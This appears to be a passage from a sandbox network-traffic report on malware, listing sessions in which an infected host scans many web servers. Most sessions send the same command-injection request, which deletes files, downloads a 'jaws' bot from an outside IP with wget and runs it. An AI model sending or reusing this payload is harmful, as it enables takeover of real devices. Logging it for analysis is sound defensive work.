6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
368	192.168.2.23	58622	104.99.215.108	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:54.969764948 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:55.274247885 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:24:55 GMT Date: Tue, 02 Jan 2024 05:24:55 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 36 35 35 38 36 63 62 26 23 34 36 3b 31 37 30 34 31 37 33 30 39 35 26 23 34 36 3b 63 32 35 63 61 36 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.765586cb.1704173095.c25ca6d</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
369	192.168.2.23	48840	108.186.112.34	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:54.992165089 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:55.155148983 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 02 Jan 2024 05:24:55 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
370	192.168.2.23	39044	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:55.195460081 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 35 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:54Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
371	192.168.2.23	48598	23.205.246.48	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:55.255105972 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:55.540848017 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:55 GMT Date: Tue, 02 Jan 2024 05:24:55 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 66 39 35 63 30 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 30 39 35 26 23 34 36 3b 34 33 31 34 64 62 30 61 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.1f95c017.1704173095.4314db0a</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
372	192.168.2.23	47296	43.225.210.18	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:55.316812038 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:55.642260075 CET	369	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Tue, 02 Jan 2024 05:24:55 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive via: CHN-HLhaerbin-SSPcctv4-CACHE5[1] X-CCDN-FORBID-CODE: 040001 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
373	192.168.2.23	39068	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:55.519483089 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 35 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:54Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
374	192.168.2.23	47310	43.225.210.18	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:55.583858013 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:55.911710978 CET	369	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Tue, 02 Jan 2024 05:24:55 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive via: CHN-HLhaerbin-SSPcctv4-CACHE8[2] X-CCDN-FORBID-CODE: 040001 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
375	192.168.2.23	39082	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:55.849266052 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 35 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:55Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
376	192.168.2.23	51544	107.172.87.207	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:55.853117943 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:56.017981052 CET	500	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 306 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 30 37 2e 31 37 32 2e 38 37 2e 32 30 37 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at 107.172.87.207 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
377	192.168.2.23	50756	80.15.65.100	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:55.923120975 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:56.219177961 CET	1286	IN	HTTP/1.1 404 Not Found Date: Wed, 29 Nov 2023 09:28:52 GMT Server: Apache/2.0.55 (Trustix Secure Linux/Linux) Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 4e 65 74 67 40 74 65 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 0a 20 20 0a 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 33 3b 55 52 4c 3d 27 2f 27 22 3e 0a 20 20 20 20 20 20 0a 20 20 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 23 46 46 46 46 46 46 3e 0a 0a 0a 0a 3c 53 43 52 49 50 54 20 6c 61 6e 67 75 61 67 65 3d 4a 61 76 61 53 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 61 76 61 73 63 72 69 70 74 2f 6d 65 6e 75 5f 61 72 72 61 79 2e 6a 73 22 20 74 79 70 65 3d 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3e 3c 2f 53 43 52 49 50 54 3e 0a 3c 53 43 52 49 50 54 20 6c 61 6e 67 75 61 67 65 3d 4a 61 76 61 53 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 61 76 61 73 63 72 69 70 74 2f 6d 6d 65 6e 75 2e 6a 73 22 20 74 79 70 65 3d 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3e 3c 2f 53 43 52 49 50 54 3e 0a 0a 3c 74 61 62 6c 65 20 77 69 64 74 68 3d 31 30 30 25 3e 0a 20 20 3c 74 72 3e 0a 20 20 20 20 3c 74 64 20 77 69 64 74 68 3d 31 35 30 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 5f 74 61 6c 63 2e 6a 70 67 22 3e 3c 2f 74 64 3e 0a 20 20 20 20 3c 74 64 20 77 69 64 74 68 3d 2a 3e 3c 2f 74 64 3e 0a 20 20 20 20 3c 74 64 20 77 69 64 74 68 3d 31 30 30 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 5f 6e 65 74 67 61 74 65 2e 6a 70 67 22 3e 3c 2f 74 64 3e 0a 20 20 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 3c 21 2d 2d 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 62 61 72 72 65 66 69 6e 65 2e 6a 70 67 22 3e 3c 2f 64 69 76 2d 2d 3e 0a 0a 0a 0a 20 20 20 20 3c 63 65 6e 74 65 72 3e 3c 70 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 72 65 64 22 3e 43 65 74 74 65 20 70 61 67 65 20 6e 27 65 78 69 73 74 65 20 70 61 73 2e 3c 62 72 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 56 6f 75 73 20 73 65 72 65 7a 20 72 65 64 69 72 69 67 e9 20 73 75 72 20 6c 61 20 70 61 67 65 20 64 27 61 63 63 75 65 69 6c 20 64 75 20 6e 65 74 67 61 74 65 20 64 61 6e 73 20 33 20 73 65 63 6f 6e 64 65 73 2e 3c 62 72 2f 3e 3c 2f 66 6f 6e 74 3e 3c 2f 70 3e 3c 63 65 6e 74 65 72 2f 3e 0a 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 62 61 72 72 65 2e 6a 70 67 22 3e 3c 62 72 3e 0a 26 63 6f 70 79 20 54 41 4c 43 20 49 6e 66 6f 72 6d 61 74 Data Ascii: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <title>Netg@te</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <meta http-equiv="refresh" content="3;URL='/'"> </head><body bgcolor=#FFFFFF><SCRIPT language=JavaScript src="/javascript/menu_array.js" type=text/javascript></SCRIPT><SCRIPT language=JavaScript src="/javascript/mmenu.js" type=text/javascript></SCRIPT><table width=100%> <tr> <td width=150><img src="/images/logo_talc.jpg"></td> <td width=*></td> <td width=100><img src="/images/logo_netgate.jpg"></td> </tr></table>...div align="center"><img src="/images/barrefine.jpg"></div--> <center><p><font color="red">Cette page n'existe pas.<br/> Vous serez redirig sur la page d'accueil du netgate dans 3 secondes.<br/></font></p><center/><div align="center"><img src="/images/barre.jpg"><br>&copy TALC Informat
Jan 2, 2024 06:24:56.219194889 CET	89	IN	Data Raw: 69 71 75 65 20 32 30 30 38 0a 0a 20 20 20 20 3c 73 6d 61 6c 6c 3e 4e 65 74 47 61 74 65 20 52 65 6c 65 61 73 65 20 34 2e 30 30 73 0a 3c 2f 73 6d 61 6c 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: ique 2008 <small>NetGate Release 4.00s</small></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
378	192.168.2.23	60976	108.158.129.156	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:55.937733889 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:56.186606884 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Tue, 02 Jan 2024 05:24:56 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
379	192.168.2.23	46272	77.246.183.30	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:55.948920012 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:56.208889961 CET	322	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Tue, 02 Jan 2024 05:24:56 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
380	192.168.2.23	59648	41.47.14.145	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:55.990421057 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:56.296410084 CET	83	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: RomPager/4.07 UPnP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
381	192.168.2.23	48682	18.214.78.161	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:56.009741068 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:56.167438030 CET	401	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:24:56 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
382	192.168.2.23	37750	118.232.97.51	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:56.010020018 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
383	192.168.2.23	60094	52.188.170.147	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:56.015919924 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:56.238269091 CET	459	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Date: Tue, 02 Jan 2024 05:24:56 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 